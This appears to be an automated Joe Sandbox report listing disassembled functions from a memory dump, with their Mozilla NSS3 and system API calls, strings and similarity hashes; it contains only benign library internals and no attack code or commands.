Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C634D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C634DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C634E02

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 1c760bf06e836af990d0eb23f58effdc75f875dee90f2e7a06b1b022a70cdf2b
Instruction ID: 621392a63f5291c66d2ab203debe04919d6b6ae2a3a6b477047c7c21033d2a30
Opcode Fuzzy Hash: 1c760bf06e836af990d0eb23f58effdc75f875dee90f2e7a06b1b022a70cdf2b
Instruction Fuzzy Hash: EF41B7B5A00215ABEB015F24EC40976BBF8EF4635DF045170EC0C97B11EB76D924CBA9

Function 6C6B4A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6C6AAEC0,00000A20,00000000), ref: 6C6B4A8B

Part of subcall function 6C670D30: calloc.MOZGLUE ref: 6C670D50
Part of subcall function 6C670D30: TlsGetValue.KERNEL32 ref: 6C670D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6C6B4AAA

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6C6B4ABD

Part of subcall function 6C670F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C612AF5,?,?,?,?,?,6C610A1B,00000000), ref: 6C670F1A
Part of subcall function 6C670F10: malloc.MOZGLUE(00000001), ref: 6C670F30
Part of subcall function 6C670F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C670F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6C6B4AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6C6B4AEC

Part of subcall function 6C66FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6C6B4B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6C6B4B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C6B4B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B4B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B4B7E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: f3d951712c8844f556ecd3939ec54428c7c5526e684d31b3fbf6738807395099
Instruction ID: 690fb08aac4edef7740a07660b8e40e7d10b6d0c970244db9ac529b2c86fd1a6
Opcode Fuzzy Hash: f3d951712c8844f556ecd3939ec54428c7c5526e684d31b3fbf6738807395099
Instruction Fuzzy Hash: B131C0B55002059FD710CF26DC81AA77BF8EF19348B044569ED4AC7B02F771E914CBAA

Function 6C6389C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C63AE9B,00000000,?,?), ref: 6C6389DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C612D6B,?,?,00000000), ref: 6C6389EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C612D6B), ref: 6C638A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C612D6B,?), ref: 6C638A11

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 3291219ae2a4081e116c667a8598419fc2f46f46f557be7d5ebab4c86ef7b95d
Instruction ID: 362dd5daa815adefb2eb91488d6322e7bc3d1c3cabe2978530c194b7e4d2efa9
Opcode Fuzzy Hash: 3291219ae2a4081e116c667a8598419fc2f46f46f557be7d5ebab4c86ef7b95d
Instruction Fuzzy Hash: AC11D8F1A0032066FA0056656C81BEB35589B4675DF083037FD0DD9A52F726D928C1BF

Function 6C612E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C612CDA,?,00000000), ref: 6C612E1E

Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C619003,?), ref: 6C66FD91
Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(A4686C67,?), ref: 6C66FDA2
Part of subcall function 6C66FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C67,?,?), ref: 6C66FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C612E33

Part of subcall function 6C66FD80: free.MOZGLUE(00000000,?,?), ref: 6C66FDD1

TlsGetValue.KERNEL32 ref: 6C612E4E
EnterCriticalSection.KERNEL32(?), ref: 6C612E5E
PL_HashTableLookup.NSS3(?), ref: 6C612E71
PL_HashTableRemove.NSS3(?), ref: 6C612E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C612E96
PR_Unlock.NSS3 ref: 6C612EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C612EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C612EC5

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 92cbb550ca5eba85c2318916d7c4f9453d6611c98be895bfbba6a98e691d3bf7
Instruction ID: 93050fb3acd0319c15c0b9872b80a4844f6284333371b9ff1e640edddb9ee8d5
Opcode Fuzzy Hash: 92cbb550ca5eba85c2318916d7c4f9453d6611c98be895bfbba6a98e691d3bf7
Instruction Fuzzy Hash: F4210772A04104A7EF012B29DC4DADA3B75DB8334EF040030ED2896B11FB32D569D7BA

Function 6C59CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C59B999), ref: 6C59CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C59B999), ref: 6C59D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C59B999), ref: 6C59D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C59B999), ref: 6C6E972B

Strings

%s at line %d of [%.10s], xrefs: 6C59CFEC, 6C59D018, 6C59D029, 6C59D03F, 6C6E978B
database corruption, xrefs: 6C59CFE7, 6C59D013, 6C59D028, 6C59D039, 6C59D03E, 6C6E9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59CFDD, 6C59D00E, 6C59D022, 6C59D033, 6C6E9780

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 763106cd67929e32f5c458c3c71bc3766cd964739745367da7829301af36bbd3
Instruction ID: c349125948b6ff68fea148c8ccc23fbe53f4ca45b8db0f90a6bcd9423143e67a
Opcode Fuzzy Hash: 763106cd67929e32f5c458c3c71bc3766cd964739745367da7829301af36bbd3
Instruction Fuzzy Hash: 85615C71A042508BD710CF29CC40BA6B7F5EF95318F2885AEE4459FB42E376E947C7A1

Function 6C674DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C67536F,00000022,?,?,00000000,?), ref: 6C674E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C674F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C674F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C674FAE
free.MOZGLUE(?), ref: 6C674FC8

Strings

%s=%s, xrefs: 6C674F89
oSgl", xrefs: 6C674DFB, 6C674EF4, 6C674EC5
%s=%c%s%c, xrefs: 6C674FA9

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSgl"
API String ID: 2709355791-1840123121
Opcode ID: 2e5fceaacb49976069fbe7c603522db797bdbf66ba613969064f1c53db251236
Instruction ID: de32efadec219b692228fd34395635b893a6ae323f474ce772c3a287e0588441
Opcode Fuzzy Hash: 2e5fceaacb49976069fbe7c603522db797bdbf66ba613969064f1c53db251236
Instruction Fuzzy Hash: 04517F31A041458BEB21CA7EC4587FF7BF59F83358F188925E890A7B40D37988068FB9

Function 6C69EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69EF6D

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

htonl.WSOCK32(00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69EFE4
htonl.WSOCK32(?,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69EFF1
memcpy.VCRUNTIME140(?,?,6C6BA4A1,?,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69F027

Strings

dtls13, xrefs: 6C69EF33

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 095ea6f00918decccd6e9598eb66fd0d7cd2e1f6c06000caac1450622c353fa1
Instruction ID: 6fc31b9ee71be8710854da817a7fe4e41c72592c3c94b9d1095825f9dcd6277d
Opcode Fuzzy Hash: 095ea6f00918decccd6e9598eb66fd0d7cd2e1f6c06000caac1450622c353fa1
Instruction Fuzzy Hash: D9310371A00216AFCB10CF38CC44B9AB7E4BF49348F15802AE8199B751E731E915CBE9

Function 6C61AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C61AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C739500,6C613F91), ref: 6C61AFD2

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

DER_GetInteger_Util.NSS3(?), ref: 6C61B007

Part of subcall function 6C666A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C611666,?,6C61B00C,?), ref: 6C666AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C61B02F
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C61B046
PL_FreeArenaPool.NSS3 ref: 6C61B058
PL_FinishArenaPool.NSS3 ref: 6C61B060

Strings

security, xrefs: 6C61AFB8

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 733940ce419713b1b32b1bb67aa2bafc73da1db298b87dfa92c2b160cc520b9a
Instruction ID: a8bb7a00cb5cce47e2c1102fa89b93510122ab67bf8c27b73700efd5eb296627
Opcode Fuzzy Hash: 733940ce419713b1b32b1bb67aa2bafc73da1db298b87dfa92c2b160cc520b9a
Instruction Fuzzy Hash: 843107B14083009FDB208F289844BAA77A4AFC232EF144619E8B45BFD1E3329549C79F

Function 6C64ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C64ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C64AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C64AD23

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C64AD39

Strings

C_MessageDecryptFinal, xrefs: 6C64ACE1
nrl, xrefs: 6C64AD51, 6C64AD7B
hSession = 0x%x, xrefs: 6C64ACFE, 6C64AD0E
(CK_INVALID_HANDLE), xrefs: 6C64AD1C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nrl
API String ID: 332880674-2010552523
Opcode ID: 834608545cf60a669b96ea645046c536f40c815d4bb9a4ed13735f7771ace4cf
Instruction ID: 2b5e69a141e85e2ec0c8588391f770b6959c900a4a8886fc7dbf87e9815906d5
Opcode Fuzzy Hash: 834608545cf60a669b96ea645046c536f40c815d4bb9a4ed13735f7771ace4cf
Instruction Fuzzy Hash: 4A21C571701168EFDB019B649E8DBAA37B5BB4631DF05C035E80997A12DB349908C6BA

Function 6C65CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C65CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C65CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C65D079

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: c90545d4cbe78cc4929aa0e8f0a5b12ba0e520c7016f09478fd6d403e7d19c80
Instruction ID: 447a571729927b2bf17ccdc32070cdf074f825c93fc7f551dcd438449a7bd071
Opcode Fuzzy Hash: c90545d4cbe78cc4929aa0e8f0a5b12ba0e520c7016f09478fd6d403e7d19c80
Instruction Fuzzy Hash: 14C18FB1A002199BDB10CF24CC80BDAB7F4BF49318F6441A8D949A7741E775EEA5CF98

Function 6C612C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D94791F6), ref: 6C612C5D

Part of subcall function 6C670D30: calloc.MOZGLUE ref: 6C670D50
Part of subcall function 6C670D30: TlsGetValue.KERNEL32 ref: 6C670D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C612C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C612CE0

Part of subcall function 6C612E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C612CDA,?,00000000), ref: 6C612E1E
Part of subcall function 6C612E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C612E33
Part of subcall function 6C612E00: TlsGetValue.KERNEL32 ref: 6C612E4E
Part of subcall function 6C612E00: EnterCriticalSection.KERNEL32(?), ref: 6C612E5E
Part of subcall function 6C612E00: PL_HashTableLookup.NSS3(?), ref: 6C612E71
Part of subcall function 6C612E00: PL_HashTableRemove.NSS3(?), ref: 6C612E84
Part of subcall function 6C612E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C612E96
Part of subcall function 6C612E00: PR_Unlock.NSS3 ref: 6C612EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C612D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C612D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C612D3F
free.MOZGLUE(00000000), ref: 6C612D73
CERT_DestroyCertificate.NSS3(?), ref: 6C612DB8
free.MOZGLUE ref: 6C612DC8

Part of subcall function 6C613E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C613EC2
Part of subcall function 6C613E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C613ED6
Part of subcall function 6C613E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C613EEE
Part of subcall function 6C613E60: PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C613F02
Part of subcall function 6C613E60: PL_FreeArenaPool.NSS3 ref: 6C613F14
Part of subcall function 6C613E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C613F27

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: bfceb95cf463ba87c7cc17f5f76287519a6e15c9257918c2e3871073e3166603
Instruction ID: cc14fc53badd0df1f657f3e6d95789311025d4eaf0aaa97c444b6758a8505881
Opcode Fuzzy Hash: bfceb95cf463ba87c7cc17f5f76287519a6e15c9257918c2e3871073e3166603
Instruction Fuzzy Hash: E751E071A183159BEB11DE2DDC88B6B77E5EF8630AF14043CEC5583A50E731E815CB9A

Function 6C618980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C617310), ref: 6C6189B8

Part of subcall function 6C671200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C671228
Part of subcall function 6C671200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C671238
Part of subcall function 6C671200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67124B
Part of subcall function 6C671200: PR_CallOnce.NSS3(6C772AA4,6C6712D0,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67125D
Part of subcall function 6C671200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C67126F
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C671280
Part of subcall function 6C671200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C67128E
Part of subcall function 6C671200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C67129A
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6712A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C617310), ref: 6C6189E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C618A00
CERT_CopyRDN.NSS3(00000004,00000000,6C617310,?,?,00000004,?), ref: 6C618A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C618A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C617310), ref: 6C618AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C617310), ref: 6C618AF3
